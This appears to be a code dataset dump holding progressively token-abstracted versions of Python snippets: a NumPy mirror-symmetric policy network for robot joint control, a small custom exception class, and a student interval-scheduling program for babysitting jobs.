"<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n <function token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n <function token>\n <function token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n <function token>\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<function token>\n<code token>\n"
] | false |
9,946 |
2ee1539e051677ad38ab7727ff5edefb1aebd015
|
class BaseException(Exception):
def __init__(self, message=""):
super(BaseException, self).__init__()
self.message = message
|
[
"class BaseException(Exception):\n def __init__(self, message=\"\"):\n super(BaseException, self).__init__()\n self.message = message\n",
"class BaseException(Exception):\n\n def __init__(self, message=''):\n super(BaseException, self).__init__()\n self.message = message\n",
"class BaseException(Exception):\n <function token>\n",
"<class token>\n"
] | false |
9,947 |
f57fa2787934dc2a002f82aa1af1f1d9a7f90da5
|
"""
file: babysit.py
language: python3
author: [email protected] Parvathi Nair
author: vpb8262 Vishal Bulchandani
"""
"""
To compute the maximum pay a brother and sister can earn considering jobs that they can work on
together or separately depending on the number of children to babysit
"""
from operator import *
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day=day
self.startTime=startTime
self.endTime=endTime
self.noOfChildren=noOfChildren
self.hourlyRate=hourlyRate
self.value=(endTime-startTime)/100*hourlyRate
def __str__(self):
return str(self.day)+ " " + str(self.startTime) + " "+ str(self.endTime) + " " +str(self.noOfChildren) + " " + str(self.hourlyRate)+ " " + str(self.value)
#total is global variable
total = 0
def takeInput():
"""
Takes input from the console and creates objects and stores in a list jobList
:return: jobList-list in which input is stored as objects
"""
n=int(input())
jobList=[]
#taking n inputs and creating objects
for i in range (n):
str = input().strip('\n').split(" ")
if int(str[1])>=600 and int(str[2])<=2300:
jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4]))
jobList.append(jobs)
return jobList
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList=sorted(jobList, key= attrgetter('day','endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs=[[0]]*(maximum)
temp=jobList[0].day
j = 0
for i in range(0,len(jobList)):
if jobList[i].day==temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j]=[0,jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
#inserting 0 at the 1st position
rho = [0]
count = 0
#calculating rho
for i in range(1,len(segregatedJob)):
j = i-1
while(j>0):
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j=j-1
if count == 0:
rho.append(0)
count = 0
return rho
def algo(segregatedJob):
"""
Implementing the interval scheduling algorithm
:param segregatedJob: A sorted list of jobs of one particular day
:return: None
"""
global total
rho = computeRho(segregatedJob)
r = len(rho);
S = [[0 for x in range(r)] for y in range(r)]
k = 0
#implementaion of scheduling algorithm
while(k<len(S)):
for j in range(k, len(S)):
if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = S[j - 1][k]
elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k])
else:
pass
S[k][j] = S[j][k]
k += 1
length = len(S)
#Adding the max pay for every individual field in the matrix
total += S[length-1][length-1]
def main():
"""
Main function.
return: None
"""
global total
jobList=takeInput()
jobListSorted=sortInputByEndTimeAndDay(jobList)
maximum=jobListSorted[len(jobListSorted)-1].day
segregatedJobs=divideJobs(jobListSorted, maximum)
for i in range (len(segregatedJobs)):
algo(segregatedJobs[i])
# print the total pay
print(int(total))
if __name__ == '__main__':
main()
|
[
"\"\"\"\nfile: babysit.py\nlanguage: python3\nauthor: [email protected] Parvathi Nair\nauthor: vpb8262 Vishal Bulchandani\n\n\"\"\"\n\"\"\"\nTo compute the maximum pay a brother and sister can earn considering jobs that they can work on\ntogether or separately depending on the number of children to babysit\n\n\"\"\"\nfrom operator import *\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day=day\n self.startTime=startTime\n self.endTime=endTime\n self.noOfChildren=noOfChildren\n self.hourlyRate=hourlyRate\n self.value=(endTime-startTime)/100*hourlyRate\n\n def __str__(self):\n return str(self.day)+ \" \" + str(self.startTime) + \" \"+ str(self.endTime) + \" \" +str(self.noOfChildren) + \" \" + str(self.hourlyRate)+ \" \" + str(self.value)\n\n#total is global variable\ntotal = 0\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n=int(input())\n jobList=[]\n\n #taking n inputs and creating objects\n for i in range (n):\n str = input().strip('\\n').split(\" \")\n if int(str[1])>=600 and int(str[2])<=2300:\n jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4]))\n jobList.append(jobs)\n return jobList\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList=sorted(jobList, key= attrgetter('day','endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n\n segregatedJobs=[[0]]*(maximum)\n\n temp=jobList[0].day\n j = 0\n for i in range(0,len(jobList)):\n if jobList[i].day==temp:\n segregatedJobs[j].append(jobList[i])\n\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j]=[0,jobList[i]]\n\n return segregatedJobs\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n\n #inserting 0 at the 1st position\n rho = [0]\n count = 0\n\n #calculating rho\n for i in range(1,len(segregatedJob)):\n j = i-1\n while(j>0):\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j=j-1\n if count == 0:\n rho.append(0)\n count = 0\n\n\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho);\n\n S = [[0 for x in range(r)] for y in range(r)]\n k = 0\n #implementaion of scheduling algorithm\n while(k<len(S)):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1])\n\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1])\n\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n\n #Adding the max pay for every individual field in the matrix\n total += S[length-1][length-1]\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList=takeInput()\n jobListSorted=sortInputByEndTimeAndDay(jobList)\n maximum=jobListSorted[len(jobListSorted)-1].day\n segregatedJobs=divideJobs(jobListSorted, maximum)\n for i in range (len(segregatedJobs)):\n algo(segregatedJobs[i])\n\n # print the total pay\n print(int(total))\n\nif __name__ == '__main__':\n main()",
"<docstring token>\nfrom operator import *\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\ntotal = 0\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\ntotal = 0\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n",
